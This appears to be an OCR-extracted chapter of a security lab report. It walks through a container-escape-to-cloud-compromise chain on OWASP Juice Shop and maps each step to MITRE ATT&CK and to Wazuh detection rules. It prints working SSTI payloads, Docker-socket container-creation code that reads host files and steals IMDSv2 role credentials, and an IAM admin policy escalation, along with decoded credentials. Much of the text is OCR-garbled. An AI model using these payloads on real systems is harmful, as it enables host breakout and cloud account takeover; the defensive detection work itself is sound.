Reads the private S3 CloudTrail 110805 T1530 — Data from
object Cloud Storage

Thread into Scenario 3. Scenario 2 leaves the instance on IMDSv1 and its role over-
permissioned. Scenario 3 assumes IMDSv2 has since been enforced — and shows that even
IMDSv2 falls once an attacker wins host-level code execution, which is exactly where the
container-escape chain begins.
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5.2 Scenario 3 — Container Escape to Full Cloud Compromise

Home > Techniques > Enterprise > Deploy Container

Deploy Container

Adversaries may deploy a centainer into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to
execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy
a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubemetes environments, an
adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to Escape to Host and access other containers running on the

node. I"

Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubemetes dashboard or
Kubeflow. ?I¥*] In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to
be deployed across multiple nodes.”! Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and

execute malicious payloads at runtime
Figure 89. MITRE ATT&CK T1610 (Deploy Container)

Home > Techniques > Enterprise > Escape to Host

Escape to Host

Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other
containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation

of application functionality and be isolated from the host environment.

There are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host's
filesystem using the bind parameter, which allows the adversary to drop payleads and execute control utilities such as cron on the host; utilizing a privileged
container to run commands or load a malicious kemel module on the underlying host; or abusing system calls such as unshare and ksyctl to escalate

privileges and steal secrets 25141

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as docker. sock, to break out of

the container via a Container Adminisiration Command.'*! Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities

in global symbelic links in order to access the root directory of a host machine. 2
In ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.””

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally

within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host

Figure 90. MITRE ATT&CK T1611 (Escape to Host)

The ATT&CK backbone — T1610 (Deploy Container), T1611 (Escape to Host), T1548
(Abuse Elevation Control). Scenario 3 walks the second and third paths T1190 named, one
after another. After the web-app RCE, the attacker abuses the mounted Docker socket to
Deploy Container (T1610) and then Escape to Host (T1611) — the container breakout
MITRE calls out by name — before abusing over-permissive IAM to escalate privileges
(T1548). The whole chain is a walk down the ATT&CK tree from initial access to host
control and then to the cloud account.

5.2.1 The idea

Scenario 3 is the project's longest chain — a single web-app flaw escalated all the way to a
database breach, crossing four telemetry layers. A Server-Side Template Injection in the web
app gives code execution inside a container; a carelessly mounted Docker socket turns that
into control of the host; the host's role is stolen and escalated to account administrator; and
from there the attacker pivots over SSM into a private subnet and reads a finance database
it was never allowed to reach. Its defining property is redundant detection: the escape is
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caught both by the WAF (the payload) and by the Docker daemon (the container that
actually gets created).

SSTI
— RCE (Juice Shop)
— abuse mounted docker.sock
— escape to host
— steal host role from IMDS (even on IMDSv2)
— |AM privilege-escalation to admin
— SSM port-forward into the private subnet
— brute-force the finance portal
— read RDS

5.2.2 Docker 101 and the deliberate misconfiguration
A Docker image is a read-only, layered filesystem plus metadata.
A container is a running instance of one.

The critical point is that a container is not a virtual machine: it shares the host's Linux kernel
and is isolated only by namespaces and cgroups. The daemon that runs it (dockerd) is root,
and it is driven through a single Unix socket, /var/run/docker.sock. That socket is the whole
security model in one line — anything that can write to it can tell the daemon to launch a
container with any mount or privilege, which is equivalent to root on the host.

How it was deliberately made vulnerable :

The OWASP Juice Shop container was run with the host's Docker socket mounted inside it,
which hands any code in that container root-level control of the host's Docker daemon:

docker run -d -p 3000:3000 -v /var/run/docker.sock:/var/run/docker.sock
bkimminich/juice-shop
Where this happens in the real world :

Mounting docker.sock into a container is a common convenience in CI/CD runners,
monitoring agents and "Docker-in-Docker" setups — and a well-known escape path.
Attackers who land in such a container routinely use the socket to launch a privileged
container and break out to the host, as seen in several Kubernetes and CI/CD compromises.

5.2.3 The attack, step by step and how each step is caught
Step 1 — SSTI to remote code execution

The entry point is the very same OWASP Juice Shop attacked in Chapter 4. Its /profile page
renders the username field with a Pug template, so a #{...} expression is executed server-
side. The classic proof is arithmetic — #{6*6} comes back as 36 — and from there the
attacker reaches the Node.js runtime and, finally, child_process to run shell commands:

#{6*6}
#{global.process.version}
#{global.process.mainModule.require('child_process').execFileSync('/nodejs/bin/node’['-

e'...N}
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A Notsecure 100.85.61.41

i OWASP Juice Shop

User Profile

Username

#(6*6)

Set Username

File Upload

Figure 91. SSTI proof: the payload #{6*6} in the Juice Shop /profile username field renders 36 —
the Pug template executes the expression.

.i OWASP Juice Shop
User Profile

Username:
n(global process.version}
Set Username

v24.17.0

File Upload:

Figure 92. SSTI escalation: #{global.process.version} returns the Node.js runtime version
(v24.17.0).

A Notsecure 100.85.61.41

.ﬁ OWASP Juice Shop

User Profile

Qa
Username:
4JSON stringify({uid:global. process.getuid(),gid:global.p
Set Username

{"uid":65532,"gid":65532,"cwd":"/juice-
shop”,'node":"v24.17.0" platform':"linux"}

Figure 93. SSTI remote code execution: process information reveals the container context (uid
65532, cwd /juice-shop).
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How we detect it :

The WAF audit log (decoded by the modsecurity_decoder) catches the request. Because a
complex escape payload does not always earn CRS's attack-ssti tag, the rules key on the
structure of the body: rule 100301 on the CRS SSTI tag, 100302 on
child_process/execFileSync/nodejs/bin/node (RCE), and 100303 on container-detection
recon.

Step 2 — Find and confirm the mounted Docker socket

Now with code execution inside the container, the attacker checks for the socket — and
finds it, mounted and writable:

#{(function(){const fs=global.process.mainModule.require('fs');return
JSON.stringify(fs.statSync('/var/run/docker.sock'))})()}

A Notsecure 100.85.61.41

.i OWASP Juice Shop

User Profile

Username:

‘ #{(function(){const fs=global.process.mainModule.require

Set Usemname

{"exists™true,"isSocket":true,"mode™"660","uid":0,"gid":986}

Figure 94. SSTI reads the mounted Docker socket ({exists:true, isSocket:true, mode 660}) — the
escape primitive is present.
| J

Username:

inModule.require((child_process).ex:
Set Username

[{"1d":"141d76d3e7a8f 1fa4afeda71e9a8b686b04ee09d94ea5603a0282a7596189a15", Names':
"]’ Image”:"juice-shop:scenario2-pre-
'sha256:e0c25a267bad974f9583251fhde54a7723ffeef5e10e19bcIfelce69b017d5d3", ImageManifestDescriptor”:
/vnd.oci.image.manifest.v1+json" digest":"sha256:e0c25a267ba4974f9583251fb4e54a7723ffeef5e10e19bc9fe0ce69Ib017d5d3" 'size":5713, platform™

[{"1P":"127.0.0.1","PrivatePort":3000,"PublicPol
{"maintainer":"Bjoern Kimminich

‘org.opencontainers image. created”:"2026-06-
23T23:18:242™ org.opencontainers image.description:"Probably
nodern and sophisticated insecure web
'org.opencontainers.image.dc s://help.owasp-
rg.opencontainers.image. lic encentainers.image.revision”."df1b6bb",'org.opencontainers.image.source™"https:/github.com/juice-

,'org.opencontainers.image.vendor’:"Open
Worldwide Application Security
Project’,'org.opencontainers.image.version":"20.1.1°},'State":"running",’ Status":"Up
51 minutes’,’ onfig"{"NetworkMode":"bridge"},'Health":
{"Status™"none’, Failing$ k":0},"NetworkSettings™:
{"Networks":{"bridge™:
{"IPAMConfig™null,"Links":null,Aliases":null,'DriverOpts":null, GwPriority":0,NetworkID":"1efbf7075335e975f8dc453500¢c497 edal8efae7706d0075f223 3e9a5ee1130e", Endpoint|D":" 42548 4e 5¢

[{'Type":"bind","Source™:"/var/run/docker.sock",Destination™"/var/run/docker.sock"; M " RW":true,'Propagation’: rprivate’}]}]

Figure 95. The mounted Docker socket confirmed through the Docker API (bind mount of
/var/run/docker.sock).
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How we detect it :

The Docker Engine events flow to Wazuh through the docker-listener wodle, decoded into
the docker.* namespace by a dedicated decoder:

<decoder name="docker_listener_json">
<prematch type="pcre2">"\{"integration"\s*:\s*"docker"</prematch>
<plugin_decoder>JSON_Decoder</plugin_decoder>
<use_own_name>true</use_own_name>

</decoder>

Step 3 — Escape the container to the host

Through the socket, the attacker asks the daemon to create a new container that bind-
mounts the host filesystem and reads it — the breakout. The container-create returns HTTP
204, and reading its output back reveals the host's /etc/passwd:

User Profile

a@a
Username:

‘ #{(global.process.mainModule.require("http’). request({so:
Set Username

alpine-pull-request-sent

Figure 96. Pull the Alpine image through the exposed Docker

A Notsecure 100.85.61.41

m OWASP Juice Shop

User Profile

Figure 97. Creating the escape container through the socket returns HTTP 204 — the container is
created.

Create the malicious container 'pp' as the attacker :

{global.process.mainModule.require('child_process').execFileSync('/nodejs/bin/node;[-e; "const
h=require('http'),b=JSON.stringify({Image:‘alpine’Tty:true,Cmd:['cat’/p'],HostConfig:{Binds:["/
etc/passwd:/p:ro'l}}),q=h.request({socketPath:'/var/run/docker.sock’path:'/containers/create?
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name=pp’,method:'POST headers:{'Content-Type"'application/
json)'ContentLength':Buffer.byteLength(b)}},r=>r.pipe(process.stdout));q.end(b)"]).toString()}

User Profile

Username:

#glob:

Set Usemame

cm9vdDp40jA6MDpyb2900i9yb2900i9iaW4vYmFzaAOKZGFIbWIuOng6MToxOmRhZW1vbjovd XNyL3NiaW46 ¢i9zYmIuL25vbGInaW4NCmJpbjp40jl6MjpiaW46L2.,

File Upload:

Figure 98. Retrieve the result encoded Base64

Decode from Base64 format

Simply enter your data then push the decode button

cm9vdDp4CjAEMDpyb2300i9yb2900iSiaW4vYmFzaADKZ GFIbW93uOng6MToxOmRhZW 1vbjovd XNyl 3NiaW461 3Vzcidz Y miul 25vbGInaW4NCm.Jpbjp4 Ojl6MjpiaW
46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgOKc3lzOng6MzozOnNSczovZGV20i91c3Ive2 Jpbidub2xvZ2IuDQpzeWS5jOng6NDo2NTUZNDpzeWSjQi9iaW46L 2pbigzeWs)
DQpnYW1lczp4 OjUENJABZ2ZFZXMEL3VZCignYW 1lczovdXNyL INiaW4vbm9sb2dpbgOKbWF uCngENjoxMjptY WAEL3Zhci9) Y WNoZSotYW4EL3Vzci9zYmIuL25vbG9
naW4NCmxwOng6Nzo30mxwOi92YXIve3Bvb2wvbHBKOI91¢c3Ive2Jpbi9ub2xvZ 2luDQptYWisOngéODod4Om1haWwesL 3ZhcistYWis 0ig1c3lve2Jpbigub2xvZ2iuDQpu
ZXdzOng60ToSOmSId3MEL3ZhcifzcGOvbCOuZ Xdz0i91c3lve2JpbiSub2xvZ2IuDQp1dWNwONgSMTABMTABdXVjcDovdmFyl 3Nwb29sL 3V 1Y3ABL3Vzci9zYmlul 25
vbGInaW4NCnByb3h5OngEMTMEMTMEcHJveHk6L2Jpbjovd XNyl 3NiaW4vbm9sb2dpbg0Kd3d3L WRhdGESeDozMzozMzp3d3ctZ GFOY TovdmFyl 3d3dzovdXNyL3
NiaW4vbm9sb2dpbg0KY mFja3VwOng6MzQEMzQ6YmFja3vw0i92YXIvYmFjadvwezovdXNyL 3NiaW4vbm@sb2dpbg0KbGizdDp4 OjM40jM4 0k 1haWxpbmeg TGlzd
CBNYWShZ2Vy0ig2YXIvbGlzdDovdXNyL 3NiaW4vbmsb2dpbg0KaXJjOngeMzkEMzkEa X JJZDovenVuL 2lyY2Q6L 3Vzci9zYmiuL 25vbGSnaW4NCI9hcHQEeDo0Mjo2
NTUzNDo8L25vbmV4aXN0ZW500i8 1c3lvc2Jpbidub2xvZ2IuDQpub2JJvZHkBeDo2NTUzNDo2NTUzND pub2JvZHkEL 25vbmV4aXN0ZW500i91c3lvc2 JpbiSub2xvZ 21
uDQpzeXNOZW1kLWSldHdvemsEeDoS0TgE0 Tk4OnNScIRIBWQgTmMV0d29yayBNYWShZ2VIZWS00i86L 3Vzci9z Y mluL 25vbGAnaW4NCmRoY3BjZDp40jkiNjos0
TYEREhRDUCBDbGIbnQgRGFIbWIUOig1¢c3IvbGIiL2ZRoY 3BjZDovYmIuLZZhbHNIDQpEZXNzYWdIYnVzOng6 O Tk 10jkINTp TeXNOZWOgTWVzc2FnZSBCAXMEL25vb
my4aXNOZW300i91c3Ive2Jpbidub2xvZ2luDQpzeXNsb2c6eDoxMDAEMTAXOjovbmOuZXhpc3RIbnQEL3Vzci9zYmIuL25vbGOnaW4NCnNSc3RIbWQicmVzb2x27ZTp |

@ For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTF-8 ~ Source character set.
Decode each line separately (useful for when you have multiple entries).

@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

[ oo o] DI Decodes your data into the area below.

root:x:0:0:root:/root:/binfbash
daemon:x:1:1:daemon:/usr/sbin:/usrisbin/nologin
bin:x:2:2:bin:/bin/usr/sbin/nologin
sysx:3:3:sys:/dev:/usrisbin/nologin
syncx:4:65534:syncu/bin:/bin/sync
games:x:3:60:games:/usrigames:/usr/sbin/nologin
man:x:6:12:manz/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:Ip:ivar/spool/ipd:fusrisbin/nologin
mail:x:8:8:mail:/var/mail:fusr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x: 10:10:uucp:ivar/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

Figure 99. The container's cat /etc/passwd output, baseé4-decoded: host accounts (root,
daemon, ...) — host filesystem access confirmed.

How we detect it — two independent sensors (the scenario's headline) :

The escape is caught first at the WAF (the payload that asks: rules 100305/100306 on
HostConfig.Binds/NetworkMode:host, level 13) and again at the Docker daemon (the
container that actually gets created: rules 100311-100314 on
image-pull/container-create/start). Either sensor alone is enough — together they make the
escape almost impossible to miss.
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Step 4 — Steal the host role, even on IMDSv2

Between Scenarios 2 and 3 the instance was hardened to IMDSv2 — but that only stops a
constrained SSRF, not a host-level attacker. From a container attached to the host network,
the attacker completes the IMDSv2 token handshake normally and steals the host EC2
role's credentials:

Pull a curlimages/curl:latest to Steal IMDSv2 Credentials :

# {global.process.mainModule.require('child_process').execFileSync('/nodejs/bi n/node',['-
e''const h=require('http');const

b=JSON.stringify({Image:'curlimages/curl:latest’ Tty:true,Entrypoint: ['sh'/-c'],Cmd:
['TOKEN=$%(curl -s -X PUT http:/169.254.169.254/latest/api/token -H \"X-aws-ec2-
metadata-token-ttl- seconds: 21600\"); ROLE=$(curl -s -H \"X-aws-ec2-metadata-token:
$TOKEN\" http:/169.254.169.254/latest/meta-data/iam/security-credentials/); echo
Role=$ROLE; curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\"
http:/169.254.169.254/latest/meta-data/iam/security- credentials/$ROLE'],HostConfig:
{NetworkMode:'host'}});const
g=h.request({socketPath:'/var/run/docker.sock’path:'/containers/create? name=imds-v2-
creds-proof,method:'POST'headers:{'Content- Type''application/json'/Content-
Length':Buffer.byteLength(b)}},r=>r.pipe(process.stdout));q.end(b)"]).toStri ng()}

User Profile

Username:

#{global.process.mainModule.require('child_process’).ex:

Set Username

{"1d":"239b27474€2a2327325091d16d818e92b0d6716b40516175f11cb67554852716","Warnings”
0

Figure 101. The SSTI payload injected into the Juice Shop /profile username field, staging the IMDSv2
token handshake.

ubuntu@ip-10-0-1-28:-$% sudo docker image ls

IMAGE ID DISK USAGE CONTENT SIZE
d9e853e87e55 12.2MB 3.71MB
28bd5fe8b56d 13MB 3.93MB
0425835c7c9%e 641MB 140MB
e68144772eba 5260MB 116MB
7cl2af72ceb3 35.3MB 10.7MB
96498ffd522e 25.9kB 9.49kB
efc25a267bad 528MB 118MB

Figure 102. dotker-ifnage Is on the compromised host — the attacker's curlimages/curl image, ready
to run as a host-networked container.

#{global.process.mainModule.require('child_process').execFileSync('/nodejs/bi n/node'['-
e''const h=require('http');const
g=h.request({socketPath:'/var/run/docker.sock'path:'/containers/imds-v2-
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creds-proof/start,method:'POST'},r=>
{process.stdout.write(String(r.statusCode));r.resume()});q.end()"]).toString ()}

User Profile

Username:

#{global.process.mainModule.require('child_process’).ex

Set Usemame

Figure 103. The SSTI payload creating a container through the mounted Docker socket (the API returns
HTTP 204).

#{global.process.mainModule.require('child_process').execFileSync('/nodejs/bin/node’['-

e''require('http').get({socketPath:'/var/run/docker.sock’path:'/containers/imds-v2-creds-

proof/logs?stdout=1&stderr=1'},r=>r.pipe(process.stdout))"]).toString('base64')}

User Profile

sfimds-v2-cre of] stdout=1&stderr=

Set Username

Um9sZT1TY2VuYXJpbzMtRWMyLVMzUmMVhZGVyDQp7DQogICJDb2RIA6ICIJTAWN]ZXNzIiwNCiAglkxhc3RVeGRhdGVKIIAGICIYMDI2LTA3LTIXVDAS0jIwOjE4WilsDQogICJUeXBIIIA6ICIBV1MLS)

Figure 104. The SSTI payload reading the container's stdout — the baseé4-encoded IMDSv2 credentials.
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Decode from Base64 format

Simply enter your data then push the decode button,

RUSMZDFQUW9SY 25t 0JvZDhSWEtlcz Z YWCSWIE00ZzINN25251 R2elUN 352N XZ0UFK1 QWI3akNRbEJaRHpQOWJIGTk1CWURKNXR JcjBFMX0o3VXBJUzND
REVZVDNzWXhJVTRVWkpoMTczaTk2R 2t2a1Q1QU1jU3pSOVBNYmRSh| YvbOpyaDhvZFZ5b2ZvSkhHSKOWY TFRAMQ1ldmhKVFgzclkrb2NGZEQrUzhEeWIOZENY
VEVFS1IMK3FNYkIGS3g0UU Fwe EZHWESGW0sSbUdFb1pCWI9SUmMg 3cVZNOUIUQ3InMUITKIVWKxFM1BOMWIQdWhD NUVUTJuUZZYUHRBTZBGRXIVZXNA
RDEzZks2cWY2zZ2UxVUUYZFVObFpzem1zSTIINXIpNIYSMEtdamZyeFE2a Tkzb3F TOVLSXFmeXInSOIkeElvdio IVG53QmyodmhmTEIEAF JRVJAINDFze0llaGxHZ3
FKc2t2cnhOK3FsdVRDaFIBSEgVMXUwbiQrelAIN25tWHVKUD AWWMIVOThobW4 1QWVac212d 104VIZOTHRKWG9xR0Q3Y LIGRKhDSWEWVXEyb25CRHd4cDRzd
Ehacy8NRFRSS1FIa0L0K2ZVWUHpsajhkOWAG Y3ZnalloMHhNRUIXTWpR1dFhsM2EDQURINISK YUVXVGPBA3CIRENUQCI6U0IgeXhBYVhaTVVTMHRaVMI3c25JK
20GUGIpZmwyKOorbUNPQzIWK2IQbmRNRWENJUOR1EGbm IMVINL1eDZIY UovTVpwblwdZmSNVFpxZIBNalhKRFhXOFpLWGRaa3MwVDFaZFRIK2FPAGEVL25p
SiBacGERr.IlBXRUIEaG4J(WmEJNZdGODZW&WXOVFZPUFFdeKVakVSKSdIVDZIEIJJkZThEREZLRyBSV1D4UGhSSIpI.aGWdWZweCBOaGpsakFDRmXIbEIyawae
TZtaUVpenVFe21xb3A3NkIoYkhZNFInYzJ3cG5JeUFwWYmVISXlyZ2pRPTOILAOKICAIR XhwaX JhdGlvhilgOiAiM|AyNiOwNyOyMVQxNToyNzozNIoiDQpS

binaries (like images, documents, e1c.) use the file upioad form a littie further

n this page.
UTF-8 ~  Source character set
Decode each line separalely (useful for when you have mulliple entries),

@ Live mode OFF Decodes in real-time as you type or paste (Supports only the UTF-8 character set).

L] =ele s Bl Decodes your dalta into the area below.

Role=Scenario3-Ec2-53Reader
{

“Code" ; “Success",

“LastUpdated” : "2026-07-21T09:20:18Z",

"Type” . "AWS-HMAC™,

“AccessKeyld” | "ASIAISSCWSICLYPNPPTO",

"SecretAccessKey" : "dgICVIQUGQECtNvFODU 9L OIg/KLLG+26c08HOGE",

“Token™ : “1QoJb3JpZ2IUX2VIEPH/IIWEACMY1LWSvENROLTEIRZBFAIATUKDaNIGN X7 pdiMBWME2eQGK Y mLIOIZigRxg +QMI1LAINAIbMAAAEGEIWSqZReF 22/
09sVWI5LIBGNE/ABPQAOKSUFCLIIINIWE QABOMODESNDAOCTILNDQOI gy TO|qyX8MOAS04WoqmQWxIatHMGThIWs D31 SDN9I3nB5PNVILCOMIKNEr6qVSXRY
LjNaiEynfHWhXVwCuVheY 3yyyJFSDVNtymLcSiSLG26 Y WUKWDJIIWPKTOVXI+zk/DD X hoip 7iHYd 7k2EF amsHrKboehit Y 2idKws TMNPch6fZga8pz4+00uUllmE9Pa
xTOvQOSLTyjaKLasamtCLg/XhVdaXxJKUBNKpMIDXLRM1V1JpARjoRahs36+2A534 TMQDNIS2 TUHAIZAYIBAhjmIde Jx6ISQPNHTSY CEbqTsMIXECqQWELoT21Wjpym
40I9ZU/BAWCTOsIzttck+Uhvs9IPY XD3csKEwOld ichZRHEm 1! TSvg il Te Q4TIAENTd1PQol XKHsEXXNV1I4g2MTnvKTvyCwikqgSvt
PY5AR7ICQIBZDzPObFNMBYDJISHrOE127UpIS3tDEST3sY xIU4UZIh173i96G kvk TSAMcSzRPMbdinéloJrhBod VyofoJHGIMOa1QvdSvhI TX3rY +ocFdD+SBDybNdIX
TEEKYL+gMbBFKx4QApxFGXNFWKIMGEoZBZ/RRN7qVMIBnCrg1KHNMUZLE3PN1kjuhCSEnN2nSErPACOFEYUesxD131K6qf3ge 1UE2dUIZSrmsI2HSyi6VI0Kx
[irQBy820qcOEK qigrak IdxBATnwBetvhiLKDhROVOT741ssIHhiGgqJskurd+gluTChYAHH/UONT+zPE7Tnm XuJP00ZiocS8hmnSAeZsbwZEVVNLLIXoqGDTcREFH
Cla/Ug2onBDwxp4stHZsMDTIKQIkMt+eVPz8d9gFcvgkYhOxgEKgMjutXI3a49DH6/JaEqTjAwwTD CnB/zS BigxAUXZMUS0xZViwsnl +0F Pifi2+1+mCOCOp+PndgEo
MvS4GPFNmLVSux6HalMZpnLBIMTZqPMjXIDXWBZKXdZks0T 1ZdPb+aOtkU/niJ0ZpnQwPWEIDhn1Zo777TFB6VINTVOPQVLUJE+ wuTGbwRdeByDFKG/MWWE
PhyJZmherufpe/ahjijAhFIHIB 2k 1y6mIEirEsmaop7 6BhbHsdRge2wpn lyApbeblyrgjQ:

Figure 105. Decoding the baseé4 blob back to the raw Scenario3-Ec2-S3Reader credentials.

. /home/aymane/scenario3-imds-creds.json

Figure 106. IMDSv2 host-role credentials stolen (Scenario3-Ec2-S3Reader) via the host-network curl
container.

AWS_ACCESS_KEY_ID= .AccessKeyId /home/aymane/scenario3-imds-creds.json
AWS_SECRET_ACCESS_KEY= .SecretAccessKey /home/aymane/scenario3-imds-creds.json

AWS_SESSION_TOKEN= .Token /home/aymane/scenario3-imds-creds.json
AWS_DEFAULT_REGION=eu-north-1

Figure 107. Exporting the stolen credentials as AWS_ACCESS_KEY_ID / SECRET_ACCESS_KEY /
SESSION_TOKEN environment variables.
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sts get-caller-identity

"UserId”: "AROA35SCWS5ICHW4SQ6I3P:i-0le8ecl@a4cfc7577"7,
"Account”™: "819404925444",

"Arn": "arn:aws:sts::819404925444:assumed-role/Scenario3-Ec2-S3Reader/i-01e8ecl1@a4cfc7577"

Figure 108. aws sts get-caller-identity — the attacker now operates as the assumed role Scenario3-Ec2-
S3Reader.

How we detect it

The metadata read itself is the §5.1 blind spot (link-local, not in CloudTrail); it is caught
indirectly, by the container-escape sensors of Step 3 that produced the host access.

Step 5 — Escalate IAM to account administrator

The stolen host role was over-permissioned: it could modify a policy it was itself governed
by. The attacker adds a new policy version whose body is Action:*, Resource:* and sets it as
default — a canonical cloud privilege-escalation primitive that turns the role into account
admin:

L5 aws iam list-users

aws: [ERROR]: An error occurred (AccessDenied) when c: the Lis operation: Us 1sts 81040 assume 83 1leBecl0abcfc?
577 is not authorized to perform: iam:ListUsers on re arn:al 19404925444 :

T —[~

"Sid": "AdministratorAccessAfterPrivilegeEscalation”,
"Effect™: "Allow",

“"Action®: "%%,

"Resource”: "#"

Figure 110. The injected policy (escalated-policy.json): Action:* Resource:* — full administrator.
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arn:aws:iam: 94@ ‘Priv-EscalationPolicy %\
1t ‘escalated-policy.

g

rsion™: {

“"VersionId®: “v3",
"IsDefaultVersion™: true,

2026-07-21T10:08:03+00: 00"

Figure 111. Privilege escalation: CreatePolicyVersion with --set-as-default activates the administrator
policy.

teDate”:
swordLastUse

L]

"UserName
"UserId”: 3 ICEAHTOIZII",

9404925444 ;user/soc-admin”,

ateD =
swordLastUsed

-

ider” ,

Figure 112. After escalation: iam:ListUsers now succeeds — the role is account administrator.
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ec2 describe-instances
eu-north-1 \

DescribeInstances

Instanceld Name | PrivatelIp

Figure 113. iam create-policy-version --set-as-default on Priv-EscalationPolicy — the over-permissioned
role rewrites its own policy to full administrator.

How we detect it — plus a hard-won lesson :

The IAM writes are the crown-jewel CloudTrail events: rule 110807 (CreatePolicyVersion),
110808 (with setAsDefault=true), 110809 (SetDefaultPolicyVersion). The us-east-1 gotcha:
IAM is a global service and AWS writes its CloudTrail events to us-east-1 regardless of
operating Region — so the aws-s3 wodle's <regions> must include us-east-1 or the entire
IAM layer is silently invisible.

Step 6 — Pivot over SSM into the private subnet

As admin, the attacker uses AWS Systems Manager — the same feature that removes the
SSH attack surface — to port-forward the internal Reporting-EC2's finance-portal port
(:8080) back to itself, reaching a host with no internet exposure and opening no inbound
firewall port at all:

ssm describe-instance-information \
eu-north-1 \

t table
DescribeInstanceInformation

Instanceld Name Ping Platform

eu—north-1

Starting session with SessionId: i-
Port 80 opened for sessionId i-01
Waiting for connections ...

Figure 114. SSM lateral movement: AWS-StartPortForwardingSession tunnels Reporting-EC2 port 8080.
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How we detect it :

CloudTrail again: rule 110812 on ssm:StartSession and rule 110813 (CRITICAL) when the
session uses the AWS-StartPortForwardingSession document — port-forwarding from a
workload identity is rarely legitimate.

Step 7 — Breach the finance database

Through the SSM tunnel, the attacker brute-forces the internal Flask finance portal until a
valid password lands, then reads the confidential finance records from RDS:

8080 http-post-form °/
jak - Please do not u L r s e za SHor r il al r| es (this is non-binding, thes

a a per
ttacking http-

post-fo

<« C @ O O hitp://127.0.01 “ @ aH @ =
-8 Import bookmarks. OffSec  KaliLinux @ KaliTools  KaliDocs ¥ KaliForums  KaliNetHunter = Exploit-DB = Google Hacking DB
Devoteam H
o Finance Dashboard
Inance Logout
Reporting month: 2026-06
TOTAL REVENUE DEPARTMENTS DATA SOURCE
Dashboard EUR 439500.00 3 RDS
Monthly Reports
Department Records Department Finance Records Live database data
Confidential Notes D Department Month Revenue EUR Internal Notes
1 Sales 2026-06 245000.00 Internal revenue forecast
2 Operations 2026-06 118500.00 Operating cost report
3 Research 2026-06 76000.00 Confidential project allocation

Figure 116. The breach: confidential finance records read from the RDS database.

How we detect it :

The portal writes a structured auth log, decoded by the finance_portal decoder, and the
two-stage brute-force is caught by correlation: rule 100323 (HIGH — five failures in 60s,
same username) and, sharpest of all, 100324 (CRITICAL — a success immediately after a
burst of failures for the same user = account compromise).

<decoder name="finance_portal">
<prematch type="pcre2">"\{"integration"\s*:\s*"finance_portal"</prematch>
<plugin_decoder>JSON_Decoder</plugin_decoder>
<use_own_name>true</use_own_name>

</decoder>

77 | 99



5.2.4 How to prevent it

¢ Never mount docker.sock into an internet-facing workload; drop Linux capabilities,
avoid --privileged, and prefer rootless Docker.

e Defence in depth on the host: IMDSv2 is necessary but not sufficient — the real fix is
stopping the container escape that hands over the host in the first place.

e Least-privilege IAM: never grant
iam:CreatePolicyVersion/iam:SetDefaultPolicyVersion on a policy in the identity's own
permission path; use permission boundaries.

e Tighten SSM: scope ssm:StartSession by tag, require MFA, and alert on port-
forwarding.

e Harden the internal app: rate limiting, account lockout, MFA; keep the RDS security
group tight.
5.2.5 Scenario 3 detection summary and ATT&CK mapping

Every hop is caught, and several by two independent sensors — so the SOC sees the attack
even if one telemetry source is evaded.

Stage Layer Detecting rule(s) MITRE ATT&CK
SSTI = RCE WAF 100301, 100302 T1190 — Exploit
Public-Facing App
Docker-socket abuse WAF / Docker 100304, docker.* T1610 — Deploy
Container
Container escape WAF + Docker 100305/100306 + T1611 — Escape to
100311-100313 Host
Host role theft via escape 100305/100306 + T1552.005
(IMDSv2) 100312
IAM privilege CloudTrail 110807-110809 T1548 — Abuse
escalation Elevation Control
SSM lateral movement CloudTrail 110812, 110813 T1021 — Remote
Services
Finance-portal brute App log 100323, 100324 T1110 — Brute Force

force = compromise

Thread into Scenario 4. Scenarios 2 and 3 broke controls — a missing token, a mounted
socket, an over-broad policy. Scenario 4 breaks nothing: a valid user simply asks for more
than they should, and a backend trusts them. That is the confused deputy.
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5.3 Scenario 4 — Serverless Identity Pivot & Confused Deputy
ATT&CK anchor — T1548, Abuse Elevation Control Mechanism (the confused deputy).

Home = Technigues > Enterprise > Abuse Elevation Control Mechanism

Abuse Elevation Control Mechanism

Sub-techniques (6) v

Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions. Most modern systems contain native elevation
control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to
perform tasks that can be considered of higher risk.|"I! An adversary can perform several methods to take advantage of built-in control mechanisms in order to

escalate privileges on a system.FIl*

Figure 100. MITRE ATT&CK T1548 (Abuse Elevation Control)

Scenario 4 is the last path T1190 named — abusing weak identity and access-management
logic. No exploit is fired: the attacker abuses an elevation-control weakness (T1548), making
a privileged backend perform a sensitive action on a low-privilege user's behalf. It is the
purest form of the 'weak IAM' path, reached through flawed application logic rather than a
technical exploit.

5.3.1Theidea:

Scenario 4 has no exploit in the usual sense — no injection, no container escape, no stolen
key. A normal, low-privilege user logs in correctly and changes one word in a JSON request.
A backend service trusts that word as if it were a permission check, and hands the user data
they should never see. This is the classic confused deputy: a privileged helper is tricked into
misusing its power for someone who was never allowed to ask. Authentication works
perfectly the whole time; what fails is authorization.

The full chain, from the user's browser to the finance database:

Cognito login (viewerl — a normal user, NOT in the audit group)

— POST /jobs {"requested_scope":"audit"} (the one flipped field)

— ReportApi Lambda enqueues the job, trusting the field — SQS

